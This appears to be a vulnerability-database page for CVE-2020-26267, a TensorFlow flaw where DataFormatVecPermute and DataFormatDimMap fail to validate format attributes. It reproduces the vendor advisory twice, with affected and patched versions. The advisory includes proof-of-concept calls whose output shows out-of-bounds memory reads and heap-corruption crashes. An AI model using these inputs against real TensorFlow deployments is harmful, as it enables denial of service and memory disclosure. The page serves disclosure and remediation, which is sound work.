CVE-2020-26267Medium· 4.4▾ Sunlit

Lack of validation in data format attributes in TensorFlow

▾ Sunlit zone — Low / medium · no exploitation signal

Depth score24/ 100 · Low

impact 24.2 · likelihood 0 · exploitation 0

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Proof of concept

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Published

Dec 10, 2020

Updated

Sep 10, 2026

CVSS

4.4

Vendor

tensorflow

Product

tensorflow

CWE

—

Depth score

24 · Low

EPSS

0.24% · p16

Platforms

—

Source

OSV

Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

EPSS history

Exploit-prediction probability, daily snapshots since Sep 12.

0.2% → 0.2%

Timeline

Disclosure to exploitation, from the record and what we observed since indexing it.

3 events · 2102 days

Dec 10, 2020Published
Disclosed via OSV
Sep 10, 2026Record revised
Last analysed / modified upstream
Sep 12, 2026EPSS first tracked
0.2%

tensorflow #osv #pip

Affected

tensorflow < 1.15.5
tensorflow >= 2.0.0, < 2.0.4
tensorflow >= 2.1.0, < 2.1.3
tensorflow >= 2.2.0, < 2.2.2
tensorflow >= 2.3.0, < 2.3.2
tensorflow-cpu < 1.15.5
tensorflow-cpu >= 2.0.0, < 2.0.4
tensorflow-cpu >= 2.1.0, < 2.1.3
tensorflow-cpu >= 2.2.0, < 2.2.2
tensorflow-cpu >= 2.3.0, < 2.3.2
tensorflow-gpu < 1.15.5
tensorflow-gpu >= 2.0.0, < 2.0.4
tensorflow-gpu >= 2.1.0, < 2.1.3
tensorflow-gpu >= 2.2.0, < 2.2.2
tensorflow-gpu >= 2.3.0, < 2.3.2

Patched in

tensorflow 1.15.5
tensorflow 2.0.4
tensorflow 2.1.3
tensorflow 2.2.2
tensorflow 2.3.2
tensorflow-cpu 1.15.5
tensorflow-cpu 2.0.4
tensorflow-cpu 2.1.3
tensorflow-cpu 2.2.2
tensorflow-cpu 2.3.2
tensorflow-gpu 1.15.5
tensorflow-gpu 2.0.4
tensorflow-gpu 2.1.3
tensorflow-gpu 2.2.2
tensorflow-gpu 2.3.2

Full technical detail▾

Overview

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W')
<tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)>
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], 
                                    src_format='1234', dst_format='1253')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1234', dst_format='1223')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='1224', dst_format='1423')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432')
<tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4],
                                    src_format='12345678', dst_format='87654321')
munmap_chunk(): invalid pointer
Aborted
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]],           
                                    src_format='12345678', dst_format='87654321')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[71364624,        0],
       [71365824,        0],
       [     560,        0],
       [      48,        0]], dtype=int32)>
...
>>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], 
                                    src_format='12345678', dst_format='87654321')
free(): invalid next size (fast)
Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234',
>>> dst_format='8765')
<tf.Tensor: shape=(4, 2), dtype=int32, numpy=
array([[1954047348, 1954047348],
       [1852793646, 1852793646],
       [1954047348, 1954047348],
       [1852793632, 1852793632]], dtype=int32)>

Patches

We have patched the issue in GitHub commit ebc70b7a592420d3d2f359e4b1694c236b82c7ae and will release TensorFlow 2.4.0 containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved.

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

tensorflow < 1.15.5
tensorflow >= 2.0.0, < 2.0.4
tensorflow >= 2.1.0, < 2.1.3
tensorflow >= 2.2.0, < 2.2.2
tensorflow >= 2.3.0, < 2.3.2
tensorflow-cpu < 1.15.5
tensorflow-cpu >= 2.0.0, < 2.0.4
tensorflow-cpu >= 2.1.0, < 2.1.3
tensorflow-cpu >= 2.2.0, < 2.2.2
tensorflow-cpu >= 2.3.0, < 2.3.2
tensorflow-gpu < 1.15.5
tensorflow-gpu >= 2.0.0, < 2.0.4
tensorflow-gpu >= 2.1.0, < 2.1.3
tensorflow-gpu >= 2.2.0, < 2.2.2
tensorflow-gpu >= 2.3.0, < 2.3.2

Remediation

Upgrade to a patched release:

tensorflow 1.15.5
tensorflow 2.0.4
tensorflow 2.1.3
tensorflow 2.2.2
tensorflow 2.3.2
tensorflow-cpu 1.15.5
tensorflow-cpu 2.0.4
tensorflow-cpu 2.1.3
tensorflow-cpu 2.2.2
tensorflow-cpu 2.3.2
tensorflow-gpu 1.15.5
tensorflow-gpu 2.0.4
tensorflow-gpu 2.1.3
tensorflow-gpu 2.2.2
tensorflow-gpu 2.3.2

References

Related vulnerabilities

Connected by shared product, vendor, weakness, or advisory.

#osv#pip

Overview

Impact

The tf.raw_ops.DataFormatVecPermute API does not validate the src_format and dst_format attributes. The code assumes that these two arguments define a permutation of NHWC.

However, these assumptions are not checked and this can result in uninitialized memory accesses, read outside of bounds and even crashes.

>>> import tensorflow as tf >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='1234', dst_format='1234') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 757100143], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='HHHH', dst_format='WWWW') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,4], src_format='H', dst_format='W') <tf.Tensor: shape=(2,), dtype=int32, numpy=array([4, 32701], dtype=int32)> >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1253') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 2, 939037184, 3], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='1223') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 32701, 2, 3], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1224', dst_format='1423') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([1, 4, 3, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='1234', dst_format='432') <tf.Tensor: shape=(4,), dtype=int32, numpy=array([4, 3, 2, 32701], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[1,2,3,4], src_format='12345678', dst_format='87654321') munmap_chunk(): invalid pointer Aborted ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') <tf.Tensor: shape=(4, 2), dtype=int32, numpy= array([[71364624, 0], [71365824, 0], [ 560, 0], [ 48, 0]], dtype=int32)> ... >>> tf.raw_ops.DataFormatVecPermute(x=[[1,5],[2,6],[3,7],[4,8]], src_format='12345678', dst_format='87654321') free(): invalid next size (fast) Aborted

A similar issue occurs in tf.raw_ops.DataFormatDimMap, for the same reasons:

>>> tf.raw_ops.DataFormatDimMap(x=[[1,5],[2,6],[3,7],[4,8]], src_format='1234', >>> dst_format='8765') <tf.Tensor: shape=(4, 2), dtype=int32, numpy= array([[1954047348, 1954047348], [1852793646, 1852793646], [1954047348, 1954047348], [1852793632, 1852793632]], dtype=int32)>

Patches

Since this issue also impacts TF versions before 2.4, we will patch all releases between 1.15 and 2.3 inclusive.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

tensorflow < 1.15.5

tensorflow >= 2.0.0, < 2.0.4

tensorflow >= 2.1.0, < 2.1.3

tensorflow >= 2.2.0, < 2.2.2

tensorflow >= 2.3.0, < 2.3.2

tensorflow-cpu < 1.15.5

tensorflow-cpu >= 2.0.0, < 2.0.4

tensorflow-cpu >= 2.1.0, < 2.1.3

tensorflow-cpu >= 2.2.0, < 2.2.2

tensorflow-cpu >= 2.3.0, < 2.3.2

tensorflow-gpu < 1.15.5

tensorflow-gpu >= 2.0.0, < 2.0.4

tensorflow-gpu >= 2.1.0, < 2.1.3

tensorflow-gpu >= 2.2.0, < 2.2.2

tensorflow-gpu >= 2.3.0, < 2.3.2

Remediation

Upgrade to a patched release:

tensorflow 1.15.5

tensorflow 2.0.4

tensorflow 2.1.3

tensorflow 2.2.2

tensorflow 2.3.2

tensorflow-cpu 1.15.5

tensorflow-cpu 2.0.4

tensorflow-cpu 2.1.3

tensorflow-cpu 2.2.2

tensorflow-cpu 2.3.2

tensorflow-gpu 1.15.5

tensorflow-gpu 2.0.4

tensorflow-gpu 2.1.3

tensorflow-gpu 2.2.2

tensorflow-gpu 2.3.2